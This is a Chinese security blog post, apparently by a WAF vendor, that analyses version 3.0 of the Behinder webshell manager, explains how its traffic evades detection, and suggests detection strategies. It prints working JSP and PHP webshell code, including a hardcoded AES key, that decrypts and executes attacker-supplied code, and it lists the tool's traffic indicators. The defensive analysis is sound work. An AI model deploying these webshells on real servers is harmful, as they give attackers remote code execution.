冰蝎(Behinder)是国内黑客圈较火的一款Webshell管理工具。在今年HW开始前,冰蝎突然进行了3.0版本的发布,新版本修改了不少旧版本的流量特征,导致大量WAF、HIDS、Webshell检测工具失效。
本文将详细揭秘冰蝎的前世今生,以及对于冰蝎相关攻击的检测思路和3.0新版本下的防护思考。
冰蝎的前世 在冰蝎这个工具出现以前,中国菜刀一直是国内的白帽子、黑帽子、各种帽子常用的Webshell管理工具。而冰蝎出现以后,很快就被大量攻击者所接受,取代了菜刀的地位。相比于菜刀,冰蝎具有下面一些优点:
Java开发,支持跨平台运行
使用加密隧道传输数据,尽可能避免流量被WAF或IDS设备所捕获
更新较为频繁,作者会听取社区的意见修改工具
在冰蝎逐渐流行以后,国内各大安全厂商也开始了行动,使用各种方法检测冰蝎的Webshell和流量,可谓八仙过海各显神通。
以下是常见的基于流量的检测方法:
0 1 通过密钥协商的过程中的一些特征来检测老版冰蝎工具在连接Webshell的时候会存在一个密钥协商的过程,这个过程是纯明文的数据交换,冰蝎存在这样的特征:发起一共两次的密钥协商,通过比较两次密钥协商的返回包中内容的不同部分来获取其中的密钥。
在这个协商过程中,防护设备可以结合URL、请求包和返回包的内容以及头部信息来综合进行判断,这种类型检测的优势是这部分的流程是冰蝎内置的实现,攻击者不太好进行修改绕过。而劣势是在大流量的环境下很容易引起大量的误报。
0 2 通过Shell交互过程中的HTTP请求特征来检测冰蝎在发送HTTP请求时存在一些特征,例如其工具中内置了17个User-Agent头,在用户没有自定义的情况下会随机选择一个发送。但是这些User-Agent头大部分是一些老版本的浏览器或设备。
这个类型检测的优势是检测方式比较简单,但是在大流量的环境下很容易引起误报,一般使用多个特征相结合的方法来改善误报的情况,并且这部分的特征通常是一些弱特征,攻击者可以通过定制请求头、使用代理等方式修改冰蝎的请求包很轻易的来绕过这类的检测。
0 3 通过Webshell上传时的流量特征来检测在真实的攻击场景下,攻击者通常是通过文件上传、文件写入等方式来写入冰蝎的Webshell,所以流量设备也可以通过检测攻击场景的数据包来发现冰蝎的存在。
这部分的流量形式主要取决于Web应用,是攻击者不好控制的,而且通常都是以明文形式进行传输,所以比较易于检测。
但是这种检测方式在遇到非文件上传等漏洞时,有可能无法捕捉到Webshell的特征。
0 4 通过利用rasp机制来进行检测冰蝎的java实现是利用defineClass来动态加载字节码进行执行,利用rasp的机制可以通过执行堆栈的信息来捕捉到冰蝎的最终利用,这种方式的检测优势在于不会产生误报,但是其会产生漏报,例如一些厂商通过堆栈中的恶意包名来检测,这时候只需要更换包名就可以绕过检测,并且由于rasp侵入强的特点,比较容易干扰到线上的应用。
冰蝎的今生冰蝎赶在2020年HW前发布了3.0版本,这个版本的冰蝎改动较大,一举绕过国内大量Webshell检测引擎和流量检测引擎。按照官方的说法,这次主要的改动是:
增加了插件机制,可开发安装自定义扩展插件
UI框架由awt改为javafx,重写了大量逻辑
增强了内网穿透功能,在原有的基于HTTP的socks5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口
从防守方的角度看,这些改动中对防御设备影响最大的是第1点,也就是说,3.0版本的冰蝎不在有密钥协商的过程,从原理上直接绕过了大量流量检测设备(大部分设备是通过握手的行为来检测冰蝎的流量)。
另外,虽然新版默认移除了老版本密钥协商的逻辑,但是如果用户仍然使用了老版本的Webshell,也是可以连接的。
我们来对比一下新老版本中JSP客户端(Webshell)的区别。
老版本JSP Webshell(格式化后):
@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> classU extendsClassLoader{ U(ClassLoaderc) { super(c); } publicClassg(byte[]b) { returnsuper.defineClass(b,0,b.length); } }%> if(request.getParameter("pass")!= null){ Stringk = (""+ UUID.randomUUID()).replace("-","").substring(16); session.putValue("u",k); out.print(k); return; } Cipherc = Cipher.getInstance("AES"); c.init(2,newSecretKeySpec((session.getValue("u")+ "").getBytes(),"AES")); newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
新版本JSP Webshell(格式化后):
AAAAA@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> classU extendsClassLoader{ U(ClassLoaderc) { super(c); } publicClassg(byte[]b) { returnsuper.defineClass(b,0,b.length); } }%> if(request.getMethod().equals("POST")){ Stringk = "e45e329feb5d925b"; session.putValue("u",k); Cipherc = Cipher.getInstance("AES"); c.init(2,newSecretKeySpec(k.getBytes(),"AES")); newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }%>bbbb
对比两个文件可以看出
新版Webshell在代码外增加了AAAAA、bbbb两个输出,但实际上删除或修改这两个特征对冰蝎的正常连接与使用没有影响
新版去除了握手的过程,直接将一个写死在Webshell中的字符串作为AES密钥解密流量包
实际执行代码的逻辑并没有修改,均采用defineClass的方式执行Java字节码
再来对比一下新老版本中PHP客户端(Webshell)的区别。
老版本PHP Webshell:@error_reporting(0);session_start();if(isset($_GET['pass']))
{$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print$key;
}else
{$key=$_SESSION['k'];$post=file_get_contents("php://input");if(!extension_loaded('openssl'))
{$t="base64_"."decode";$post=$t($post."");for($i=0;$i
}
}else
{$post=openssl_decrypt($post,"AES128",$key);
}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];classC{publicfunction__construct($p){eval($p."");}}@newC($params);
}?>
新版本PHPWebshell:
@error_reporting(0);session_start();if($_SERVER['REQUEST_METHOD']=== 'POST'){ $key="e45e329feb5d925b";$_SESSION['k']=$key;$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i
和JSP版本Webshell类似,PHP版本做了如下修改:
新版去除了握手的过程,直接将一个写死在Webshell中的字符串作为AES密钥解密流量包
新版将eval过程放在了魔术方法__invoke中,而老版在构造函数__construct里,部分Webshell检测引擎可能因此会被绕过
在实际连接时进行抓包,也可以看出二者的差别:
老版本的第一个数据包是一个GET请求,而新版本的第一个数据包即为加密流量了。
如何应对真实场景下的攻防总是相对的,正所谓魔高一尺道高一丈,特殊时期,对于这个“对手”,防守方如何应对呢?
前文提到,在网上公开的文章中,关于如何检测冰蝎的流量,大家关注的重点都是冰蝎的密钥协商过程,因为在整个通信的过程中,这部分是明文的,并且特征比较多。但是因为这次更新去除了握手的过程,导致大量流量检测设备无法再探测冰蝎的流量。
除了可选去掉了密钥协商过程来对抗检测,冰蝎也修复了一些容易被流量检测出来的小问题:
比如红蓝对抗——加密Webshell“冰蝎” 流量 100%识别这篇文章中提到过,老版冰蝎发送请求时Cookie头的特征问题在新的版本中也已经被修复了:
if(headerName.equalsIgnoreCase("Set-Cookie")){ for(StringcookieValue : headers.get(headerName)){ cookieValue =cookieValue.replaceAll(";[\\s]*path=[\\s\\S]*;?",""); cookieValues = cookieValues + ";"+ cookieValue; } cookieValues = cookieValues.startsWith(";")? cookieValues.replaceFirst(";",""): cookieValues; break; }
长亭雷池(SafeLine)和牧云(CloudWalker)无需升级即可防护
在以往的对抗中,长亭科技的雷池(SafeLine)下一代Web应用防火墙”和牧云(CloudWalker)主机安全平台均采用不基于规则的方式检测冰蝎相关的攻击,不存在产品现有规则不能涵盖新版冰蝎WebShell的问题,因此这次冰蝎的更新对于雷池(SafeLine)和牧云(CloudWalker)的检测能力没有影响。
对于文件上传漏洞,雷池(SafeLine)针对攻击者上传过程文件进行分析,通过识别常见服务端脚本语言的语法特性,判断上传文件是否为WebShell,继而针对攻击者访问行为进行分析,判断其访问的文件名称和参数是否具备调用WebShell特征,进而告警和阻断。因此不管攻击者上传新版或老版冰蝎的Webshell,雷池(SafeLine)无需增加规则或者升级,均可以正常检测和拦截,检测结果如下图所示:
牧云(CloudWalker)利用机器学习、语义分析等多种技术综合实现WebShell在主机服务器上的检测,能够自动监控关键路径,支持包含JSP、JSPX、PHP、ASPX、ASP在内的五种主流Web脚本格式,检测结果如下图所示:
对于新版的冰蝎来说,由于握手包去除,进一步地降低了攻击者的特征。对于甲方来说,之后检测的重点可能需要转移到下面几个地方:
流量端对于文件上传、文件写入等漏洞的检测
服务器端对于兼容冰蝎的Webshell的检测
对于攻击者拿到Webshell以后的操作进行检测,如反弹shell、高危命令执行等
新版冰蝎虽然大幅减少了流量中的特征,但仍然存在一些特征可以被探测:
内置的17个User-Agent头
JSP Webshell返回包首尾的AAAAA和bbbb
连接的几个数据包中存在固定大小的数据包
这些特征虽然无法准确判断出流量的类型,但这些小特征组合出来的新特征,也许能给检测端提供一些帮助。
总结一下,对于检测者来说,做好这几点比较重要:
增强检测文件上传、写入漏洞的能力
增强Webshell检测能力,对冰蝎Webshell及其变种进行针对性处理
做好文件监控,对于发生变化的可疑文件及时进行记录报警,方便之后的攻击的回溯
做好反弹Shell、命令执行等敏感行为的检测
关注异常流量,出现问题能够及时解决
最后,附上一份冰蝎内置的17个User-Agent列表:
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1",